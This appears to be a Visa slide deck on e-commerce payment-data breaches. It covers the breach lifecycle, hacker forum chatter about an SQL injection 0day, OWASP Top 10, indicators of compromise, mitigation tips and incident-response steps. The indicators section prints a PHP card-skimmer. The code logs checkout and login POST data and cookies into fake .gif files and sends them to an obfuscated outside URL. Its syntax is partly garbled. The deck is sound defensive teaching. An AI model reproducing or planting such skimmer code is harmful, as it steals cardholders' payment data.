Identifying and Mitigating Threats to E-commerce Payment Processing

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Agenda

• Payment System Risk
• E-commerce Threat
• OWASP
• Case Studies
• What To Do If Compromised
• Visa Resources
Visa Payment System Risk (PSR)

- Risk Organizational Structure
- Mission:
  - Maintain and enhance stakeholder trust in Visa as the most secure way to pay and be paid.
- PSR manages this by partnering with clients and stakeholders that play a role in the Visa transaction network

![Diagram showing Visa, Issuers, Acquirers, Merchants, Cardholders, and Third Party Agents]

Visa Public
Visa Payment System Risk (PSR)

• Cyber Intelligence, Investigations and Fraud Resolution

• Mission:
  – Investigate, document and manage external account data compromise incidents, fraud attempts utilizing Visa accounts or other fraudulent schemes that impact the Visa network or its clients
  – Identify and report on new and emerging fraud trends that affect our network and clients, as well as interacting with global law enforcement organizations in investigations
  – Participate in the notification process when a data compromise incident occurs, and distribute a list of at-risk accounts to affected financial institutions
  – Serve as Visa’s primary liaison with law enforcement on external data compromise incidents
Merchant Data Compromises

Typical data breach & counterfeit cycle

Entry
- Hackers targeting internet-exposed remote access systems as initial intrusion points
- Once in, attackers conduct network reconnaissance using diagnostic tools/techniques to identify systems with access to payment data and isolate specific user accounts
- They create custom attack scripts and tools inside the merchant’s network to further extend access

Card Data Theft
- Payment card data is extracted with specialized, difficult to detect malware
- Malware is named to appear as legitimate security software, in some cases
- Card data is encrypted to avoid detection
- In many recent instances, traces of attacker activity are removed, including self-deleting malware

Monetization
- Payment data is used to commit fraud, often across countries via coordinated criminal activity
  - ATMs
  - Gift cards
  - High-value goods
- Cards carry a typical value of between $20-$50 on markets for stolen data

Note: There may be a significant lag between a breach and monetization
Techniques

Graphic Courtesy of Trend Micro
E-Commerce Payment Flow

- Web Browser
- Company Server(s)
- Acquirer/Processor
E-commerce Threat Overview

• Old school vs. new school
  – Strategic web compromise vs. opportunistic web app attacks
  – 50.7% of all documented web app attacks occurred through the use of stolen credentials (source: 2015 Verizon DBIR)
  – Contradicts Open Web Application Security Project (OWASP) (more on that later...)

Sample hacking forum advertisement

“[$5000] Sql injection vuln in eCommerce software, 80k+ Sites vuln

Mysql Error & Union based sql injection vulnerability in popular eCommerce software

Order's table is in plain text, not encrypted.

81,200 sites are vulnerable.

Price: $5000 (Price is negotiable) Jabber: XXXX@XXXX.XXX

Contact me over jabber for more details”
E-commerce Threat

<i>&amp;&gt; </i>naw i am making all the...on [hacking website] go and audit...ecommerce software because i am selling the sqli in the site

<i>&amp;&gt; </i>you wont be able to find this sqli from auditing the source even if you knew what ecommerce software this was

<i>&amp;&gt; </i>i bet some kids try to extort me for the sqli 0day

<i>&amp;&gt; </i>...customs still hasnt replied LOL

<i>&amp;&gt; </i>and are still vuln to sql injection

<i>&amp;&gt; </i>so uh lola remember how [victim] was the only one to publicly announce it got hacked

<i>&amp;&gt; </i>well i sqlied it 2 more times today LOL

<i>&amp;&gt; </i>its been exactly 2 weeks since i should of been vanend for [victim]

<i>&amp;&gt; </i>im considering taughting xxx.edu over twitter LOL

<i>&amp;&gt; </i>considering they spent ages upgrading their security

<i>&amp;&gt; </i>released 26 vulns in uk
Milw0rm screenshot. Site no longer active.
Open Web Application Security Project (OWASP)

- [www.owasp.org](http://www.owasp.org)
- Non-profit designed to improve web application security
- OWASP Top Ten Web Application Security Risks
  - A description
  - Example vulnerabilities
  - Example attacks
  - Guidance on how to avoid

Note: Visa does not officially endorse OWASP. Use of the information in these slides is to be used at the viewer’s discretion.
OWASP Top 10 - 2013

Attack Type

- **A1 Injection**
- **A2 Broken Authentication and Session Management**
- **A3 Cross-Site Scripting (XSS)**
- **A4 Insecure Direct Object References**
- **A5 Security Misconfiguration**
- **A6 Sensitive Data Exposure**
- **A7 Missing Function Level Access Control**
- **A8 Cross-Site Request Forgery (CSRF)**
- **A9 Using Components with Known Vulnerabilities**
- **A10 Unvalidated Redirects and Forwards**
Case Studies

Threat Agents

- Remote administrative shells installed
- Hidden IFRAME vulns
- Malicious Javascript
- Adminer (tool for malice)

Containment / Mitigation

- Delete malware from all systems
- Firewall rules set to block malicious IP addresses
- Install Web Application Firewall
- Install File Integrity Monitor tools

Possible areas of focus on your ecommerce site

- Web Application Archive (.war) file activity
  - Often contains source code
- Lightweight Directory Access Protocol (LDAP)
  - Often contains encryption keys
- Unallocated space
  - Often contains payment card data
- Proxy logs
  - Often contains suspicious IPs, malicious upload/download behavior
### Known Indicators of Compromise

<table>
<thead>
<tr>
<th>Type (MD5)</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>D9A47A70E5326C7C590580ADEA9B882F</td>
<td>Captures HTTP post data, e.g. payment card numbers</td>
</tr>
<tr>
<td>2E13630F8660C36260643D3905F0EDD5</td>
<td>Captures HTTP post data, e.g. payment card numbers</td>
</tr>
<tr>
<td>1EC7F06F1EE4FA7CECD17244EEC24E07</td>
<td>PHP shell allows attacker add/edit/delete capabilities on the web root level</td>
</tr>
<tr>
<td>EFC8DEFECBCEC2395AB759F989307000DB</td>
<td>PHP shell allows attacker add/edit/delete capabilities on the web root level</td>
</tr>
<tr>
<td>802C946DE420E93A68EE5F8E69556EFD</td>
<td>PHP Shell/Trojan disguised in mysql .MYD file</td>
</tr>
<tr>
<td>8A67957811AC8C6C0EE9C276E82B9F75</td>
<td>“Filesman” command shell malware</td>
</tr>
</tbody>
</table>
Known Indicators of Compromise, Continued

123.45.67.89 - - [31/Jul/2014:06:31:07 -0400] "POST /phpminiadmin.php HTTP/1.1" 200 9542
"http://acmewidgets.com/phpminiadmin.php?XSS=e9d08cdc8550577C&db=acmewidgets_1_12&q=select+*+from+%60admin_user%60" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0"

if ( isset($_POST) && is_array($_POST) && count($_POST) > 0 ) {
    $log_dir = $_SERVER['DOCUMENT_ROOT'].'/media/catalog/product/0/z/';
    $log_name = "image34.gif";
    $ARINFO = $_POST;
    $ARINFO["date"] = $_SERVER['REQUEST_TIME'];
    $ARINFO["ip"] = $_SERVER['REMOTE_ADDR'];
    $ARINFO["url"] = $_SERVER['REQUEST_URI'];
    if((isset($_COOKIE['frontend'])) $ARINFO["cookie"] = $_COOKIE['frontend'];
    if(strpos($_SERVER['REQUEST_URI'], 'checkout'))
        { if(@filesize($log_dir . $log_name)>1024*1024)
            { @rename($log_dir.'_'.$log_name, $log_dir.'__'.$log_name);
               @rename($log_dir.$log_name, $log_dir.'_'.$log_name);
               $arr[1] = $_SERVER["HTTP_HOST"];
               $arr[2] = str_replace($_SERVER["DOCUMENT_ROOT"], ",$log_dir);
               $arr[3] = ".$log_name;
               $t = base64_encode serialize($arr));
               @file_get_contents(strrev("t?php.xaja/zib.gninto.cso//ptth'".$t);
            }
            $log_entry = serialize($ARINFO) . "\n\n\n";
            $fp=fopen( $log_dir . $log_name, 'a' );
            fputs($fp, $log_entry);
            fclose($fp); }
    if( isset($_POST["login"]) )
        { $ad_name = "picture.gif";
           $log_entry = serialize($ARINFO) . "\n\n";
           $fp=fopen( $log_dir . $ad_name, 'a' );
           fputs($fp, $log_entry);
           fclose($fp); } }
General Tips and Tricks

**Cause**

- Track user behavior
- Two factor authentication
- Disable autocomplete for fields where sensitive data is provided
- Encrypt, encrypt, encrypt [front end public key encryption coupled with back end private key decryption]
- Unique tokenization
- Internal firewall log retention
- Prohibit password sharing

**Effect**

- Allows for anomalous trends tracking
- Reduces risk of credentials compromise
- Prevents data leakage
- Adheres to PCI standards
- Ensures session integrity
- Provides evidentiary value of allowed traffic, to include malicious traffic
- Reduces single point of failure risk
What To Do If Compromised

**Action**

- Preserve evidence and facilitate the investigation (throughout)
- Alert all necessary parties immediately
- Provide Visa with at risk accounts as soon as feasible (if there is no evidence of compromised data, Visa reserves right to show proof)

**Assisting Party**

- Merchant, merchant bank, forensics firm, card brands, law enforcement
- Merchant bank, forensics firm, card brands, law enforcement
- Visa + other affected card brands in order to ensure complete alerts

• **Primary goal is to help prevent additional exposure of cardholder data and ensure compliance with the Payment Card Industry Data Security Standard (PCI DSS), PCI Payment Application Data Security Standard (PA-DSS), and PCI PIN Security Requirements.**

• CAMS uploads: Email request to VAA VRM@visa.com for access to gvol.visaonline.com.
What To Do If Compromised, Part II

Large Merchants

• Self-reported data security breach affecting payment cards
• Suspected data breach: multiple Common Point of Purchases (CPPs) from different issuers
• Suspected data breach based on a single CPP with >25 accounts and/or >$25K in fraud [Merchant Fraud Conversion Rate (MCR) supports CPP]
• Law enforcement or other credible source reports a data security breach affecting payment cards

Small Merchants

• Small merchant with annual Visa transaction volume > 201K – 1M
  – Combination of onsite and alternative forensic investigation
• Small merchant with annual Visa transaction volume of > 50K - 200K
  – Alternative forensic investigation

• An investigation is required on compromised entities that fall under the above categories, and at the discretion of Visa in suspected/potential compromised entities
Visa is hosting a must-attend event that will focus on trends and developments related to cyber security, mobile payments, e-commerce and Visa’s global authentication strategy. In order to secure the future of commerce all stakeholders including merchants, acquirers, agents and Visa need to collaborate on key initiatives in addressing today’s most relevant issues. This event will be held in the San Francisco Bay Area at the Hyatt Regency Hotel just south of San Francisco. For more information, email pcirocs@visa.com.
Upcoming Merchant Events and Resources

**Upcoming Webinars** – Training page on [www.visa.com/cisp](http://www.visa.com/cisp)
- Strategies to Effectively Manage Data Compromise Events
  - 27 May 2015, 10 am PST

**Visa Data Security Website** – [www.visa.com/cisp](http://www.visa.com/cisp)
- “What To Do If Compromised” Guidelines
- Alerts, Bulletins
- Best Practices, White Papers
- Webinars

**PCI Security Standards Council Website** – [www.pcissc.org](http://www.pcissc.org)
- Data Security Standards – PCI DSS, PA-DSS, PTS
- Programs – ASV, ISA, PA-QSA, PFI, PTS, QSA, QIR, PCIP, and P2PE
- Fact Sheets – ATM Security, Mobile Payments Acceptance, Tokenization, Cloud Computing, and many more...
Thank you